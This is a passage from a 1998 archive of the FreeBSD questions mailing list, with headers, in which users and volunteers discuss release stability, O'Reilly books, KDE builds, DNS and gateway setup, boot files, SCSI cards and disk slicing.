-f from another UNIX box, but don't do this during the middle of the day. > BTW, GREAT job on 2.2.6, had no problems getting the OS to run, and I see > a few nasty bugs are fixed, mainly the : anyuser can freeze up the machine > with a simple kill command :). Neat :) > Also, I have run many other test's, trying to break the OS (mainly > scripts that run commands and also spawn other process's that do the > same) and the OS ends up freezing the scripts before the system freezes > up. Die, you silly forkbombs! :-) > As far as a server goes, FreeBSD seems to be VERY stable, as most > questions on this list are focasing on home or at least user-at-console > use. Running as designed. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 22:40:25 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA28253 for freebsd-questions-outgoing; Fri, 10 Apr 1998 22:40:25 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ix.netcom.com (sil-wa2-23.ix.netcom.com [206.214.137.55]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA28243 for ; Fri, 10 Apr 1998 22:40:16 -0700 (PDT) (envelope-from tomdean@ix.netcom.com) Received: (from tomdean@localhost) by ix.netcom.com (8.8.8/8.8.8) id WAA04097; Fri, 10 Apr 1998 22:39:52 -0700 (PDT) (envelope-from tomdean) Date: Fri, 10 Apr 1998 22:39:52 -0700 (PDT) Message-Id: <199804110539.WAA04097@ix.netcom.com> From: Thomas Dean To: questions@FreeBSD.ORG Subject: O'Reilly Books Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I just had an exchange with O'Reilly Books about FreeBSD. ================== >Dear Sirs: > >I have eleven O'Reilly books on the shelf in front of me. I have a >pointer to the O'Reilly web page. When I need a book for a project or >other computing interest, I look at O'Reilly. I frequently scan the >O'Reilly books in the book store. > >I would purchase books on FreeBSD from O'Reilly, if they were available. > >Please make FreeBSD books available through your organization. Please >encourage authors to write FreeBSD books for your publication. > >Thank you, >tomdean ================== >That's a nice start. > >I just talked to Nate Patwardhan, our FreeBSD-using sysadmin, and >apparently rumor has it that time may be right for a FreeBSD book. >We'll see what happens; thanks for your letter. > >- -Chris ================== >Thanks for your comments Thomas. We are closely monitoring the >FreeBSD market. Right now, it looks like we would probably lose money >printing a FreeBSD book. When it looks a little more enviting, we >would be happy to publish a book. We feel, now is not the time, but >we will keep watching for it. > >Speaking as a fan of FreeBSD, I think the FreeBSD community could work >out some kind of deal with authors like Nate Padwardhan to create a >good book that could be distributed through the community itself. >Just a little over 10 years ago Tim O'Reilly was selling manuscripts >he had photocopied! Starting a FreeBSD Documentation Project would >not be unreasonable. > >Stephen R. Figgins O'Reilly & Associates, Inc. >O'Reilly Book Support 101 Morris St, Sebastopol, CA 95472 >booktech@oreilly.com O'Reilly home page http://www.oreilly.com ================== To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 22:42:34 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA28686 for freebsd-questions-outgoing; Fri, 10 Apr 1998 22:42:34 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from euthyphro.uchicago.edu (euthyphro.uchicago.edu [128.135.21.31]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA28676 for ; Fri, 10 Apr 1998 22:42:25 -0700 (PDT) (envelope-from sfarrell@phaedrus.uchicago.edu) Received: from phaedrus.uchicago.edu (phaedrus [128.135.21.10]) by euthyphro.uchicago.edu (8.8.6/8.8.4) with ESMTP id AAA29523; Sat, 11 Apr 1998 00:42:23 -0500 (CDT) Received: (from sfarrell@localhost) by phaedrus.uchicago.edu (8.8.8/8.8.5) id AAA04493; Sat, 11 Apr 1998 00:42:20 -0500 (CDT) To: "Jason C. Wells" Cc: questions@FreeBSD.ORG Subject: Re: kde on 2.2.5 CDROM? References: From: stephen farrell Mime-Version: 1.0 (generated by tm-edit 7.108) Content-Type: text/plain; charset=US-ASCII Date: 11 Apr 1998 00:42:19 -0500 In-Reply-To: "Jason C. Wells"'s message of "Fri, 10 Apr 1998 19:27:58 -0700 (PDT)" Message-ID: <874t00kj7o.fsf@phaedrus.uchicago.edu> Lines: 22 X-Mailer: Gnus v5.6.3/XEmacs 20.3 - "Vatican City" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Jason C. Wells" writes: > I personnaly like the latest and greatest kde. I would install it this > way. Hmm... whenever I try to build this, kfm doesn't work. I get A new kioslave has been started QSocketNotifier: Invalid socket specified QSocketNotifier: Internal error whenever trying to open a directory. I got this when the beta3 port first came out. yesterday i blew it away and reinstalled, and i still get the same thing (yes i've confirmed that the binaries have been updated). -- Steve Farrell To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 22:43:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA28963 for freebsd-questions-outgoing; Fri, 10 Apr 1998 22:43:10 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail1.realtime.net (mail1.realtime.net [205.238.128.217]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id WAA28913 for ; Fri, 10 Apr 1998 22:42:58 -0700 (PDT) (envelope-from jktheowl@bga.com) Received: (qmail 38556 invoked from network); 11 Apr 1998 05:42:46 -0000 Received: from zoom.realtime.net (HELO zoom.bga.com) (root@205.238.128.40) by mail1.realtime.net with SMTP; 11 Apr 1998 05:42:46 -0000 Received: from barnowl (apm5-176.realtime.net [205.238.146.176]) by zoom.bga.com (8.6.12/8.6.12) with SMTP id AAA02354; Sat, 11 Apr 1998 00:42:42 -0500 Date: Sat, 11 Apr 1998 00:49:59 -0500 (CDT) From: John Kenagy X-Sender: jktheowl@barnowl Reply-To: John Kenagy To: Alex Belits cc: Giao Nguyen , Derek Laufenberg , hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Alex Belits wrote: > On Fri, 10 Apr 1998, Giao Nguyen wrote: > > > > Thanks for letting me vent a bit. I am truely impressed with the quality > > > of FreeBSD. It has the potential to be a silver bullet, but it needs > > > killer applications - WORD & Excel. > > > > We don't need no silly Word & Excel. We've got sendmail. :) > > If we won't, there will always be presence of Windows on every desktop, > proprietary fromats everywhere and therefore constant threat of complete > Windows takeover even if the number of FreeBSD installations will increase > hundreds of times. There should be a way to do all work without Microsoft We need Word & Excel or clones there of. Speaking as an old time computer seller. You must be able to do what the other guy does without scaring the user. Or, you won't get convert one. That means word processing, spread sheets, fax, and database. I do not mean big stuff either. Bullet proof, easy to use - intuitive interface and clean looking. The only reason I have so many PCs on a LAN at my house (its just a rumor that I have one in the bathroom...) is that my father, a machinery broker, throws one into a box every year or so and ships it to me then gets a new one. Why? With windoze it gets so full of ka ka ("updates/good deals") that it quits. The one he has now simply hangs up the fax line - MID FAX! No one can tell him why. All he wants to do is get and send faxes, write quotes, and keep a list of customers - which he does in Word - its easier than the database manager. I take his non working system, scrub the disk clean, load FreeBSD, runs like a charm and faster. One problem, software learning curve prevents me from shipping it back to him. Get that one solved and we win. My two cents for the night. John To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 22:48:05 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA00413 for freebsd-questions-outgoing; Fri, 10 Apr 1998 22:48:05 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA00381 for ; Fri, 10 Apr 1998 22:47:58 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id WAA28548; Fri, 10 Apr 1998 22:47:51 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 22:47:50 -0700 (PDT) From: Doug White Reply-To: Doug White To: Vadim Burkov cc: freebsd-questions@FreeBSD.ORG Subject: Re: Request for comments In-Reply-To: <01bd63b4$f7839220$0b42d0c3@vadim.nf.ru> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 Apr 1998, Vadim Burkov wrote: > I ask you to assist me in reaching internet services from my FreeBSD > v.2.2.2. I installed it from WCreek CD-ROM and made following changes in > /etc/rc.conf: i upped my network card interface so it works properly > and i can ping easily any computer in my network. > > I want to find out in what files and what exact string should i write to > point to my DNS server and default gateway. For the DNS server, add `nameserver xx.yy.zz.qq' lines to /etc/resolv.conf, where xx.yy.zz.qq is the IP address of your nameserver. For default gateway, simply modify the defaultrouter line in /etc/rc.conf. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 22:50:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA01065 for freebsd-questions-outgoing; Fri, 10 Apr 1998 22:50:35 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA01058 for ; Fri, 10 Apr 1998 22:50:31 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id WAA28556; Fri, 10 Apr 1998 22:50:19 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 22:50:19 -0700 (PDT) From: Doug White Reply-To: Doug White To: Bruce Albrecht cc: freebsd-questions@FreeBSD.ORG Subject: Re: Missing boot.cfg, boot.help In-Reply-To: <199804091330.IAA00406@zuhause.mn.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 Apr 1998, Bruce Albrecht wrote: > I just moved all my file systems around, and moved my freebsd root > partition to a freebsd-only drive (i.e., no partitions, just a > disklabeled drive). When I boot, it complains that boot.cfg and > boot.help are missing, and I have to hit a return to get it to boot. > My original root didn't have these files, but I never got such an > error. These are parts of the new boot blocks built for 2.2.5. /boot.help is a file displayed before the boot: prompt, and /boot.config is a file that lists the default disk to boot from (i.e., "wd(0,a)/kernel"). Both files are optional. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 22:52:57 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA01587 for freebsd-questions-outgoing; Fri, 10 Apr 1998 22:52:57 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from crism.ne.mediaone.net (crism.ne.mediaone.net [24.128.30.101]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA01428 for ; Fri, 10 Apr 1998 22:51:42 -0700 (PDT) (envelope-from crism@crism.ne.mediaone.net) Received: from crism.ne.mediaone.net (localhost.ne.mediaone.net [127.0.0.1]) by crism.ne.mediaone.net (8.8.7/8.8.7) with ESMTP id BAA05867; Sat, 11 Apr 1998 01:47:53 -0400 (EDT) (envelope-from crism@crism.ne.mediaone.net) Message-Id: <199804110547.BAA05867@crism.ne.mediaone.net> To: Thomas Dean Cc: freebsd-questions@FreeBSD.ORG Subject: Re: O'Reilly Books In-reply-to: Your message of "Fri, 10 Apr 1998 22:39:52 PDT." <199804110539.WAA04097@ix.netcom.com> Date: Sat, 11 Apr 1998 01:47:52 -0400 From: "Christopher R. Maden" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG -----BEGIN PGP SIGNED MESSAGE----- [Thomas Dean] > I just had an exchange with O'Reilly Books about FreeBSD. > > ================== > >That's a nice start. > > [...] > > > >- -Chris This was *not* an exchange with O'Reilly Books - this was a private message from an employee who is also a FreeBSD user. The line after the signature was "Not speaking in any way for O'Reilly & Associates". I don't mind the mail being forwarded - I make it a rule not to say anything I don't want repeated. But I don't want anyone to think that O'Reilly is officially monitoring the list or that I'm a representative in any way. I just work there. - -crism NOT SPEAKING FOR O'REILLY - DON'T AND PROBABLY NEVER WILL - -- "Death makes you smart." - _Complex World_ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: For my public key, finger crism@crism.ne.mediaone.net. iQB1AwUBNS8D+3SaAdkmYoAJAQHbDgL/U7a9Us/GF3T8ROwtZCoV4v2apqyeZRkq ZPfnzIaIgCc2wUpZTk3seWJS79jG6upGOcraIIG93A92FDR2shQ4bVOTVsERdTF3 02N12maMg+GwmzAf5XSOzQrtdNwhYXx4 =LGeQ -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 22:53:58 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA01974 for freebsd-questions-outgoing; Fri, 10 Apr 1998 22:53:58 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason04.u.washington.edu (root@jason04.u.washington.edu [140.142.78.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA01956 for ; Fri, 10 Apr 1998 22:53:51 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul7.u.washington.edu (root@saul7.u.washington.edu [140.142.82.2]) by jason04.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id WAA18014 for ; Fri, 10 Apr 1998 22:53:49 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul7.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id WAA12298 for ; Fri, 10 Apr 1998 22:53:49 -0700 (PDT) Date: Fri, 10 Apr 1998 21:52:36 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: FreeBSD-questions Subject: Removing apm0 causes hang at boot. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG A long time ago I had trouble with this kernel device. The removal of the apm0 device causes the boot to hang before the initial "Copyright (c) 1992-1997 FreeBSD Inc." mesg comes up. This "experimental" code might be expected to cause trouble when added. Why on earth would it cause trouble when removed? I am using 2.2.2-R. I am _not_ using a laptop. Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 22:57:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA02513 for freebsd-questions-outgoing; Fri, 10 Apr 1998 22:57:00 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason03.u.washington.edu (root@jason03.u.washington.edu [140.142.77.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA02475 for ; Fri, 10 Apr 1998 22:56:54 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul7.u.washington.edu (root@saul7.u.washington.edu [140.142.82.2]) by jason03.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id WAA22508; Fri, 10 Apr 1998 22:56:53 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul7.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id WAA25320; Fri, 10 Apr 1998 22:56:51 -0700 (PDT) Date: Fri, 10 Apr 1998 21:55:38 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: stephen farrell cc: "Jason C. Wells" , questions@FreeBSD.ORG Subject: Re: kde on 2.2.5 CDROM? In-Reply-To: <874t00kj7o.fsf@phaedrus.uchicago.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 11 Apr 1998, stephen farrell wrote: > "Jason C. Wells" writes: > > > I personnaly like the latest and greatest kde. I would install it this > > way. > > > Hmm... whenever I try to build this, kfm doesn't work. I get > > A new kioslave has been started > QSocketNotifier: Invalid socket specified > QSocketNotifier: Internal error > > whenever trying to open a directory. I got this when the beta3 port > first came out. yesterday i blew it away and reinstalled, and i still > get the same thing (yes i've confirmed that the binaries have been > updated). I dunno. There are some things that KDE likes to be running along with the window manager. I say check KDE documentation. I have beta 3 from the FreeBSD ports collection and have nary a problem. Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 22:57:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA02803 for freebsd-questions-outgoing; Fri, 10 Apr 1998 22:57:30 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA02767 for ; Fri, 10 Apr 1998 22:57:22 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id WAA28563; Fri, 10 Apr 1998 22:57:19 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 22:57:19 -0700 (PDT) From: Doug White Reply-To: Doug White To: "Adam L. Simpson" cc: freebsd-questions@FreeBSD.ORG Subject: Re: FreeBSD on a Novell Network with NT Clients - Slow In-Reply-To: <199804091528.KAA01826@localhost.intranet> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 Apr 1998, Adam L. Simpson wrote: > We are running a FreeBSD box on a Novell Network with NT Clients on a > intranet. okay. > After about 4 months without any problems - performance wise, all of a > sudden the box is very slow to react. A reinstall of the os and web server > did not help nor did running a separate box with the 2.2.5 and 2.2.6 > release. Same effect. Reaction to an initial telnet session is very slow > but once in, reactions are immediate. The same with the web server. This smells of broken reverse nameservice. Check your nameserver and/or named configuration. > The next thing we did was enable a box and locate it outside the firewall. > Now if we go to this box from inside the network, it responds fine - very > fast and responds almost immediately. Or someone blocked DNS to the outside world at the firewall. :( Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:02:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA04187 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:02:06 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA04060 for ; Fri, 10 Apr 1998 23:01:55 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA28570; Fri, 10 Apr 1998 23:01:53 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 23:01:53 -0700 (PDT) From: Doug White Reply-To: Doug White To: original man cc: freebsd-questions@FreeBSD.ORG Subject: Re: SCSI controller In-Reply-To: <199804091641.MAA02523@osibisa.cl.msu.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 Apr 1998, original man wrote: > > I don't think it's supported, no. Try a Symbios-based card or an Adaptec. > > Assuming you're using a Pentium class machine, the Adaptec 2940 (not > > 2940A) series is an excellent card. > > > Hi Doug, > Do you or anyone else on this list have a source for the Symbios-based cards? > I know Asus makes a couple, but I'm having difficulties in finding a vendor. > I am in mid-Michigan (East Lansing). Of course any web based vendors would > work too. My 53c815 is a Symbios-made one which I bought from Insight Electronics in San Diego, CA (not Insight Direct the large direct-mail retailer). I found it by poking through the Symbios Logic web page (www.symbios.com) and trying their resellers. That was two+ years ago, I assume they're still around :-) Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:02:23 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA04392 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:02:23 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA04308 for ; Fri, 10 Apr 1998 23:02:17 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA28574; Fri, 10 Apr 1998 23:02:16 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 23:02:16 -0700 (PDT) From: Doug White Reply-To: Doug White To: original man cc: freebsd-questions@FreeBSD.ORG Subject: Re: SCSI controller In-Reply-To: <199804091641.MAA02523@osibisa.cl.msu.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 Apr 1998, original man wrote: > Do you or anyone else on this list have a source for the Symbios-based cards? > I know Asus makes a couple, but I'm having difficulties in finding a vendor. > I am in mid-Michigan (East Lansing). Of course any web based vendors would > work too. Add the Diamond FirePort 40 to the Symbios-based list. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:09:05 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA05530 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:09:05 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason05.u.washington.edu (root@jason05.u.washington.edu [140.142.78.6]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA05514 for ; Fri, 10 Apr 1998 23:08:56 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul7.u.washington.edu (root@saul7.u.washington.edu [140.142.82.2]) by jason05.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id XAA16342 for ; Fri, 10 Apr 1998 23:08:56 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul7.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id XAA11982 for ; Fri, 10 Apr 1998 23:08:55 -0700 (PDT) Date: Fri, 10 Apr 1998 22:07:42 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: FreeBSD-questions Subject: Invitation to use -chat for its intended purpose Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Much religous discussion has gone on this list in the last few days. Mr. Lehey recently apologized for a spammish message. Hey! We have a resource for this sort of non-technical discussion. I do not propose that we end this lively discussion. I do propose that we move to an appropriate medium. I had subscribed to -chat for a week. I got NOT ONE message. Perhaps we as a community could commit to moving -chattish topics to the -chat list. It would reduce the signal to noise here in -questions. This would require the same sort fo self moderation that we see when a message gets forwarded to -questions from someone on the -hackers list. The folks on -hackers can self moderate. So can the folks on -questions. (Is there on overlap between these subscriber bodies? :) I would love to wax zealous on -chat. I am reluctant to get too non-technical here on -questions. Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:10:16 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA06002 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:10:16 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA05994 for ; Fri, 10 Apr 1998 23:10:06 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id XAA28581; Fri, 10 Apr 1998 23:08:46 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 23:08:46 -0700 (PDT) From: Doug White Reply-To: Doug White To: Marty Leisner cc: questions@FreeBSD.ORG Subject: Re: booting freebsd (multiple slices on a disk) In-Reply-To: <9804091649.AA17011@gnu.sdsp.mc.xerox.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 Apr 1998, Marty Leisner wrote: > My disk layout (from linux fdisk) is: > : leisner@compudyne;bsdfdisk -l > > Disk /dev/hda: 64 heads, 63 sectors, 826 cylinders > Units = cylinders of 4032 * 512 bytes > > Device Boot Begin Start End Blocks Id System > /dev/hda1 1 1 127 256000+ 6 DOS 16-bit >=32M > /dev/hda2 * 128 128 534 820512 5 Extended > /dev/hda3 825 825 825 2016 a OS/2 Boot Manager > /dev/hda4 535 535 686 306432 b5 Unknown > /dev/hda5 * 128 128 254 256000+ 7 OS2 20.0 > /dev/hda6 * 255 255 381 256000+ 7 OS2 20.0 > /dev/hda7 * 382 382 407 52384+ 83 Linux native > /dev/hda8 408 408 509 205600+ 83 Linux native > /dev/hda9 510 510 534 50368+ 6 DOS 16-bit >=32M NO NAME Huh?? What is this displaying? No disk can have more than 4 slices and I count 8. What does a DOS fdisk look like? > Disk /dev/hdb: 64 heads, 63 sectors, 621 cylinders > Units = cylinders of 4032 * 512 bytes > > Device Boot Begin Start End Blocks Id System > /dev/hdb1 1 1 152 306400+ b5 Unknown > /dev/hdb2 153 153 254 205632 6 DOS 16-bit >=32M > /dev/hdb3 255 255 431 356832 b5 Unknown > Warning: invalid flag 0000 of partition table 4 will be corrected by w(rite) > > Disk /dev/hdd: 64 heads, 63 sectors, 621 cylinders > Units = cylinders of 4032 * 512 bytes > > I'm using system commander (it changes the a5 ID to b5 [don't ask > me why...freebsd still boots] > > When I tried to install on /dev/hda, it complained: > This region cannot be used for your root partition as the > FreeBSD boot code cannot deal with a root partition created > in that location. > > Is this because it began at a cylinder > 512? (On the other hand, > OS/2 Bootmanager doesn't have a problem). Actually, it's >1023 that causes the problem. You can't have multiple FreeBSD slices on the same physical disk, since the boot blocks can't differentiate between the slice(s) which one it's supposed to boot. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 23:10:17 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA06008 for freebsd-questions-outgoing; Fri, 10 Apr 1998 23:10:17 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with 